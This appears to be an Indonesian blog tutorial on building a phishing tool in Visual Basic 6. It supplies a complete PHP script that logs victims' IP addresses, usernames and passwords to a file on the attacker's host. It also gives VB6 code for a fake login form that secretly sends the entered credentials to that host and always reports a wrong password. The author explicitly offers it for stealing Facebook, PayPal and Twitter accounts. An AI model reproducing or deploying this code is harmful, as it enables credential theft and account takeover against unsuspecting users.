Cara membuat Software phising dengan VB6

Bahan bahan yang perlu sobat miliki, dibawah ini harap dilengkapi terlebih dahulu:
1. Sebuah Komputer, jangan pinjaman -,-
2. Hosting web untuk menampung file php dan file txt dari phising kita sendiri.
3. Program Visual Basic tentunya untuk memancing.
4. Setelah itu buka dan login webhosting sobat sendiri, lalu buat 1 file dengan nama terserah.php  setelah itu isikan kode  ini:

<?php
    $datum=date('d-m-Y / h:i:s a');
    $email = $_GET[e];
    $password = $_GET[p];
    $ip = getenv ('REMOTE_ADDR');
    $fl = fopen('Ihiy.txt', 'a');
    fwrite($fl, "IP Address : $ip\nDate : $datum\nUsername : $email\nPassword : $password\n\n");
    fclose($fl);
    $ref = $_SERVER['HTTP_REFERER'];
    header("location: $ref");
    ?>

Jangan lupa save dengan ekstensi .php

5. Selanjutnya buka visual basic, lalu buat project pertama dengan ketentuan.

- Buat 1 form dengan nama frmUtama

- Buat 1 module dengan modConnect

Ketentuan:
Dalam module (modConnect) isi kode berikut ini:

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef _
lpSFlags As Long, ByVal dwReserved As Long) As Long
Const INTERNET_CONNECTION_MODEM = 1
Const INTERNET_CONNECTION_LAN = 2
Const INTERNET_CONNECTION_PROXY = 4

Const INTERNET_CONNECTION_MODEM_BUSY = 8 

Fungsi yang berguna untuk mengecek koneksi internet yang ada di komputer kita menggunakan fungsi api InternetGetConnectedState

Function CekInternet(Optional connectMode As Integer) As Boolean
Dim flags As Long
CekInternet = InternetGetConnectedState(flags, 0)
connectMode = flags
End Function
lalu di frmUtama tambahkan 2 buah text box dan 1 buah command button 1 buah label

Textbox pertama di namakan : txtUname
Textbox Kedua di namakan : txtPass
Command button dinamakan : cmdLogin
Label dinamakan : lblInfo

Ketentuan:
Copykan ini kedalam form

Private Sub Form_Load()
lblInfo.Caption = "Memeriksa Koneksi Internet"
If CekInternet = False Then
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet !"
Else
lblInfo.Caption = "Komputer Anda Terkoneksi Dengan Internet !"
Me.Caption = "Rama Tamfan :)"
End If
End Sub  <br>

Setelah itu masukkan kode berikut ini kedalam cmdLogin

Dim IE As Object
user = LCase(txtUname.Text)
pass = txtPass.Text

If txtUname.Text = "" Then
MsgBox "Kotak Teks masih kosong,silahkan isikan dengan benar !", vbExclamation, "Error"
Else
lblInfo.Caption = "Sedang Login ..."
Set IE = CreateObject("InternetExplorer.Application")

IE.Visible = 0
IE.Navigate "http://www.domainkamu.com/rama.php?e=" & _
user & "&p=" & pass

Do While IE.Busy
Sleep 200 'sleepnya 200 ajah :p

Loop
IE.Quit
Set IE = Nothing

lblInfo.Caption = "Username/Password Salah !"
MsgBox "Username/Password Salah !", vbExclamation, "Error"
End If
v 

Wkwk, sampai kapanpun kotak pesan akan memberitahukan bahwa kita selalu salah memasukkan password/username.. bila command button diklik :D

Bila sudah complete project, dan masukkan ke hosting gratisan anda.

Program ini bisa buat isengisengan untuk mencuri akun facebook,paypal,twitter. dll

Semoga jangan keseringan, ingat dosa juga :) bila sipengguna asli meminta kembali facebook.. haraplah dikembalikan :) mungkin ada yang penting dari pertemanan keluarga dia :)  trimss..

 download VB6